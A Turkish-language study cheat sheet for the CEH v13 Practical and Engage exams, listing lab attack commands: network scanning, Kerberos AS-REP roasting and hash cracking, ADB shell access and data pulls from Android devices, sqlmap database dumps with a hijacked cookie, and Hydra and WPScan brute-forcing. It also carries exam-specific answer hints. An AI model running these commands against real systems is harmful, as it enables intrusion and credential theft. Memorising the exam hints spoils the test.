

CEH v13 Practical & Engage — Tam Komut, Araç & Senaryo Ansiklopedisi

Engage Parts 1-4, Gerçek Sınav Senaryoları, Özel Wireshark Filtreleri, Android ADB/Phonesploit, Active Directory & Malware Analizi

1. AĞ KEŞFİ, HOST/OS TESPİTİ & SERVİS ENUMERATION

Subnet Canlı Host Sayısı (Gateway Hariç) & TTL ile OS Tespiti

```
# Subnet taraması (Gateway hariç sayım için ilk/son IP'yi düşmeyi unutmayın):
nmap -sn 192.168.10.0/24

# TTL Değerine göre Linux/Windows ayrımı:
ping -c 1 192.168.10.111

# TTL <= 64 ise LINUX, TTL >= 128 ise WINDOWS
```

Engage Part 1 & 2'de canlı makine sayısı ve Linux/Windows ayrımı doğrudan buradan yapılır.

Kritik Servisleri Hedefleme (Tek Satırda Hızlı Port Taramaları)

```
# SSH (22) - Linux hedefleri listeleme:
nmap -p 22 192.168.10.0/24 --open

# Domain Controller (53 / 88 / 389):
nmap -p 53,88 192.168.0.0/24 --open

# Veritabanı Servisleri (MySQL: 3306, MSSQL: 1433, Oracle: 1521):
nmap -p 3306,1433 192.168.10.0/24 --open

# Mail (SMTP: 25, POP3: 110, IMAP: 143):
nmap -p 25 172.30.10.0/24 --open

# RDP (3389) ve SMB (445):
nmap -p 3389,445 192.168.10.0/24 --open

# Android ADB Servisi (5555):
nmap -p 5555 192.168.10.0/24 --open
```

Active Directory, DNS Tree Name & NetBIOS Çıkarma

```
# Nmap ile NetBIOS Domain Name ve DNS Tree Name:
nmap -sV -A -p 445 192.168.0.222

# Çıktı: NetBIOS Domain Name: SKILL.CEH | DNS Tree Name: SKILL.CEH.com

# SMB Message Signing Kontrolü (Required: Yes/No):
nmap -p 445 --script smb2-security-mode 172.30.10.200
```

DNS Enumeration & Zone Transfer

```
dig NS certifiedhacker.com
dig @ns1.bluehost.com certifiedhacker.com AXFR
whois certifiedhacker.com
```

2. ACTIVE DIRECTORY SALDIRILARI & LDAP / KERBEROASTING (ENGAGE PART 2)

AS-REP Roasting (GetNPUsers.py ile Hash Çekme)

```
# 'Do not require Kerberos preauthentication' aktif kullanıcıların TGT hashini alma:
python3 GetNPUsers.py SKILL.com/ -no-pass -usersfile ~/users.txt -dc-ip 192.168.0.222

# Alınan Kerberos $krb5asrep$ hashini kırma:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# veya Hashcat (Mode 18200):
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```

Engage Part 2 Soru 8: Kullanıcı listesinden parola istemeden TGT hash'i çeker ve John ile kırar.

LDAP Enumeration (Kullanıcı Sayısı ve sAMAccountName Tespiti)

```
# Naming Context ve Kullanıcıları Çekme:
ldapsearch -x -H ldap://192.168.0.222 -b "dc=SKILL,dc=CEH,dc=com" "(objectClass=user)" sAMAccountName
sAMAccountType
```

Püf Noktası: Toplam 9 hesap dönebilir; soru "User Accounts" istiyorsa Group hesabı elenir, cevap 8 olur!

3. ANDROID / MOBİL CİHAZ İSTİSMARI (ADB & PHONESPLOIT - ENGAGE PART 4)

ADB ile Android Cihaza Bağlanma & Dosya Çekme

```
# 1. Port 5555 açık Android cihaza bağlan:
adb connect 192.168.10.121:5555

# 2. Cihazları listele & Shell aç:
adb devices
adb -s 192.168.10.121:5555 shell

# 3. SDCard içerisindeki dosyaları (Şifreli metin, BCtext vb.) yerele kopyala:
adb pull /sdcard/ ~/AndroidData/
adb pull /sdcard/BCtext.txt ./
```

PhoneSploit ile APK Çıkarma & Arama Geçmişi (Call Log)

```
# PhoneSploit başlat:
cd /opt/PhoneSploit veya cd ~/PhoneSploit
python3 phonesploit.py

# Kullanım:
# Seçenek [1]: IP gir (192.168.10.121)
# Seçenek [36]: Extract all APKs (veya belirtilen paketi çek)
# Seçenek [7] veya [8]: Dump Call Logs / SMS (Oltalama aramasını tespit için)

# Çekilen APK'nın CRC32 Değeri:
crc32 com.cxinventor.file.apk
```

Engage Part 4 Soru 2: Çekilen APK'lar arasında sonu "614c" ile biten CRC32 değerini bulma.

BCTextEncoder Şifresi Çözme (Windows EH Workstation - 2)

Android'den çekilen BCtext.txt dosyası Windows makinedeki **BCTextEncoder** aracı ile açılır, pawned.txt içindeki parola girilerek çözülür.

4. ZARARLI YAZILIM ANALIZI & FORENSICS (PROCMON, DIE, ELF ENTROPY)

Process Monitor (.PML) Analizi & Parent PID Tespiti

Windows üzerinde **ProcMon (Process Monitor)** açılır \$ ightarrow\$ Logfile .PML yüklenir \$ ightarrow\$ `Ctrl + F` ile zararlı process (`H3ll0.exe`) aranır \$ ightarrow\$ Çift tıklanıp **Process** sekmesinden Parent PID (Örn: 6952) okunur.

Detect It Easy (DIE) ile ELF/PE Entropy & Packer Tespiti

Windows/Linux DIE aracı açılır \$ ightarrow\$ Tornado.elf yüklenir \$ ightarrow\$ **Entropy** butonuna tıklanır. Dosyanın şifrelenmiş veya paketlenmiş olup olmadığını gösteren entropi değeri virgülden sonra 2 basamakla okunur (Örn: 2.87).

ELF / PE Program Headers & Segment Boyutu (readelf)

```
readelf -l Strange_File-1
# 'Program Headers' tablosundaki 'PT_LOAD' satırının FileSiz/MemSiz sütununu oku (Örn: 000c54ec)

# Hash Hesaplamaları:
sha256sum Tools.rar
sha224sum Strange_File-1
md5sum signature/*.png | grep -i "24CCB"
```

5. GELİŞMİŞ WIRESHARK & AĞ ANALIZI SENARYOLARI

Senaryo	Wireshark Filtresi / İşlem Adımı	Açıklama / Engage Püf Noktası
Session Hijacking Hedef IP	<code>tcp.flags.reset == 1</code> veya tekrarlayan <code>http</code> cookie akışları	Engage Part 3: \$_Jack.pcapng dosyasında hedeflenen kurban IP'yi saptar.
HTTP Sniffing Kimlik Avı	<code>http.request.method == "POST"</code> Packet Details: <i>HTML Form URL Encoded</i>	Kullanıcı adı ve şifreyi (Örn: <code>moviescope.com</code> login) anında yakalar.
Expert Info DoS Severity	Üst Menü: <i>Analyze > Expert Information</i>	Engage Part 4 Soru 5: Hata ve uyarı ciddiyet seviyesini verir (Format: <code>warning</code> / <code>Error</code>).
IoT MQTT Özel Mesajı	<code>mqtt contains "High_humidity"</code>	Mesaj içindeki nem uyarısı yüzdesini (Örn: <code>85</code>) tespit eder.
Bilinmeyen UDP Port Analizi	<code>udp.port == 26000</code>	Özel portta çalışan Quake/Oyun veya zararlı trojan trafiğini yakalar.
Honeypot Log Analizi	CLI: <code>grep "login attempt" cowrie.log awk '{print \$NF}'</code>	Engage Part 3 Soru 3: Cowrie SSH honeypotuna saldıran IP'yi bulur.

6. WEB GÜVENLİĞİ, OTURUM COOKIE YÖNETİMİ & SQLMAP

Oturum Açılmış Sayfalarda SQLMap & Cookie Entegrasyonu

```
# 1. Tarayıcı Konsolundan (F12 > Console) Cookie Alma:
# document.cookie komutuyla: PHPSESSID=d9a8f7c6e5b4a321

# 2. SQLMap ile Oturum Korumalı Sayfayı İstismar Etme:
sqlmap -u "http://cinema.cehorg.com/profile.php?id=1" --cookie="PHPSESSID=d9a8f7c6e5b4a321" --batch --dbs
sqlmap -u "http://cinema.cehorg.com/profile.php?id=1" --cookie="PHPSESSID=d9a8f7c6e5b4a321" -D cinema_db
-T users -C username,password --dump --batch

# Alternatif: Burp İstek Dosyası ile (%100 Başarı):
# Burp'te isteğe sağ tık -> 'Copy to file' -> req.txt
sqlmap -r req.txt --batch --dbs
```

WordPress & Web Keşfi (WPScan & FFUF)

```
# WordPress Kullanıcı Listesi Çekme:
wpscan --url http://www.cehorg.com -e u

# WordPress Brute-Force (Engage Part 3 - Soru 12 Adam kullanıcısı):
wpscan --url http://www.cehorg.com -U adam -P /usr/share/wordlists/rockyou.txt

# Hızlı Dizin & Gizli Dosya Keşfi:
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.10.101/FUZZ -mc 200,301
```

Güvenlik Başlıkları & Eksik İlke Tespiti (Clickjacking & XSS/SQLi)

```
curl -I http://www.goodshopping.com
# 'X-Frame-Options' yoksa: Clickjacking zafiyeti vardır.
# XSS ve SQLi'yi tarayıcı seviyesinde engelleyen eksik politika: 'Content Security Policy' (CSP)
```

7. KRIPTOGRAFI, STEGANOGRAFI & PAROLA KIRMA (FULL STACK)

VeraCrypt Konteyner Şifresi Çözme (Adım Adım)

```
# 1. Documents klasöründeki Hash2crack.txt dosyasını John ile kır:
john --wordlist=/usr/share/wordlists/rockyou.txt Hash2crack.txt
# 2. Parolayı al (Örn: 'test' veya 'pumpkin').
# 3. Windows veya Linux'ta VeraCrypt GUI aç -> 'Select File' -> Its_File seç -> 'Mount' -> Parolayı gir.
# 4. Mount edilen sanal sürücüye girip EC_data.txt veya gizli bayrağı oku.
```

Steganografi Çeşitleri (Snow, Steghide, OpenStego)

```
# Whitespace (Boşluk) Stego - SNOW:
snow -C -p "password" restricted.txt

# Steghide (Resimden dosya alma):
steghide extract -sf stealth.jpg -p "password"

# CrypTool ile Hex & 128-bit Şifre Çözme:
# 'cryt-128-06encr.hex' dosyasını CrypTool içine sürükleyin -> Cryptanalysis -> Symmetric -> AES/DES seç.
```

Hydra ile Çoklu Servis Kaba Kuvvet Saldırıları

```
# RDP:
hydra -l Maurice -P /usr/share/wordlists/rockyou.txt 192.168.10.222 rdp
# SSH:
hydra -l martin -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.50
# FTP:
hydra -l nick -P /usr/share/wordlists/rockyou.txt ftp://192.168.10.111
```

8. CEH PRACTICAL SINAV GÜNÜ ALTIN KURALLARI

- 1. Format Uyarısına Harfiyen Uyun:** Cevabın yanında (Format : aaaaANNaN) gibi bir kural varsa, harf büyüklüğü ve özel karakter kalıbına sadık kalın.
- 2. Online Hash Kırıcıları Kullanın:** iLabs tarayıcısından hashes.com/en/decrypt/hash sitesine girerek MD5/NTLM hash'lerini yerel CPU'yu yormadan 1 saniyede kırabilirsiniz.
- 3. Zaman Yönetimi:** İlk 30 dakikada Wireshark analizleri, curl header kontrolleri ve basit steganografi sorularını tamamlayıp 8-10 doğruyu hızla cebe koyun.